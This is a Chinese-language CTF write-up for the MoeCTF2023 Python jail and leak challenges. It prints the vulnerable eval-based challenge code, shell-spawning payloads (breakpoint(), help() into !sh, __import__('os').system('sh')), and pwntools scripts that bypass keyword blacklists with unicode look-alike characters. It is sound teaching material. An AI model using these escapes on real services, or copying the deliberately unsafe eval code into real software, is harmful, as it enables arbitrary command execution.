小C给MoeCTF制作了一个Jail类别的挑战,不过考虑到很多同学对于Jail这类题目并不是很熟悉的前提下.小C采取了一种很友好的交互方式告诉各位如何进行相关的操作
当各位玩家连接后 可以看到一个类似于菜单的东西.输入g(G)会获得挑战的源码,输入e(E)会进入挑战,输入c(C)会得到挑战的描述[题目里的会更加详细],输入q(Q)会退出
小tips:如果你不熟悉python,不妨可以先看看 3.11.5 Documentation 和 Python3 教程 | 菜鸟教程
祝大家能够玩得开心,成功逃离小C的pyjail!
这里是level0,十分简单,我相信你能很快解决他。
获取题目源码:
根据Bypass Python sandboxes提示,直接找到eval getshell代码即可
题目代码:
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
关键的在于len(user_input_data)>12 限制了长度为12。
查询资料发现breakpoint 函数可以执行命令。
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码
breakpoint()
__import__('os').system('ls')
DESCRIPTION: 这里是level2 你能用比level1更短的payload解决这个挑战吗
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))
关键的在于len(user_input_data)>6限制了长度为6。
help 函数
help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh
当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助
() |
然后输入 os,此时会进入 os 的帮助文档。
help> os |
然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash
help> os $ ls a-z0-9.py exp2.py exp.py flag.txt $ |
DESCRIPTION: 这里是level3 和level1有关 但是之前的payload不能直接工作
import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))
经过测试发现使用unicode编码可以绕过breakpoint()黑名单,例如:breakpºint()
手动在终端输入是不行的,需要使用脚本提交,贴上代码
from pwn import *
def start(ss):
p = remote('localhost',52238)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(ss)
p.interactive()
s='breakpoint()'
#需要绕过的字符串
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in s and len(res)>0:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(s.replace(res,tmp))
# break
except:
pass
CHALLENGE: Jail Level 4
DESCRIPTION: 这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?
无任何过滤,直接输入payload
__import__('os').system('ls')
__import__('os').system('cat flag')
后获取 到源代码:
print WELCOMEprint "Welcome to the MoeCTF2023 Jail challenge.This is a repeater and it repeats what you say!"
print "python verison:2.7"
while True: user_input_data = input("> ")
print user_input_data
CHALLENGE: Leak Level 0
DESCRIPTION: 欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单
题目代码:
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("""| Options:
| [V]uln
| [B]ackdoor""")
def func_filter(s):
not_allowed = set('vvvveeee')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>9):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
设置了两个功能,一个是漏洞利用,可以使用python下面函数查看环境变量,找到真正的key,再利用backdoor来getshell。
global ()和locals ()函数
使用global ()可以获取Python中的全局变量;
使用locals ()可以获取Python中的局部变量;
CHALLENGE: Leak Level 1
DESCRIPTION: 这里是level1 比level0多了一些过滤
题目代码:
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
def func_filter(s):
not_allowed = set('moe_dbt')
return any(c in not_allowed for c in s)
print("""| Options:
| [V]uln
| [B]ackdoor""")
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ")
print(eval(code))
else:
print("You should select valid choice!")
在上一题基础上增加了长度为6的限制,另外过滤moe_dbt,不过此处可以用unicode绕过。
HNCTF题解
我们的payload长度被限制到了6,我们看来又只能用help()函数了。但是我们在操作的时候,发现!sh不能进到shell里面。向Crazyman确认了一下,他说这道题的socat做了手脚,因此无法用前面的方法来RCE。不过我们至少方向是对的,第一步肯定是进到help()中。然后,我看了下help的第一句话:
Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit".To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam".
所以重点在Enter the name of any module, keyword, or topic上。我们之前输入os得到os模块的帮助,那么我们如果输入__main__的话,是不是得到当前模块的帮助?答案是肯定的:我们输入__main__之后,就返回了当前模块的信息,包括全局变量:
我的exp
from pwn import *
def start(ss):
p = remote('localhost',58290)
msg = p.recv()
# print(msg)
p.sendline(b'e')
print(p.recv())
p.sendline(b'v')
print(p.recv())
p.sendline(ss)
# p.sendline(b'v')
print(p.recv())
# print(p.recv())
# p.sendline(b"__import__('os').system('cat flag')")
p.interactive()
#需要绕过的字符串
payload='help()'
blacklist='e'
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("--") in res:
continue
# print("U:{} A:{} ascii:{} ".format(tmp, res, i))
if res in blacklist:
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
start(payload.replace(res,tmp))
# break
except:
pass
得到help后输入__main__获取key成功,随后切换到backdoor getshell即可
交互式的shell
__import__('os').system('sh')
CHALLENGE: Leak Level 2
DESCRIPTION: 这里是level2 比level1多了一些过滤
题目代码:
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("""| Options:
| [V]uln
| [B]ackdoor""")
def func_filter(s):
not_allowed = set('dbtaaaaaaaaa!')
return any(c in not_allowed for c in s)
while(1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
print("you need to ")
code = input("code >> ")
if(len(code)>6):
print("you're hacker!")
exit(0)
if func_filter(code):
print("Oh hacker! byte~")
exit(0)
if not code.isascii():
print("please use ascii only thanks!")
exit(0)
print(eval(code))
elif challenge_choice == 'b':
print("Please enter the admin key")
key = input("key >> ")
if(key == fake_key_into_local_but_vailed_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor> ")
print(eval(code))
else:
print("You should select valid choice!")
和上一题的区别在于增加了下面一行,不允许使用unicode编码绕过了,但是貌似没有过滤help(),可以直接使用help(),然后__main__查看全局变量。
if not code.isascii():
print("please use ascii only thanks!")
exit(0)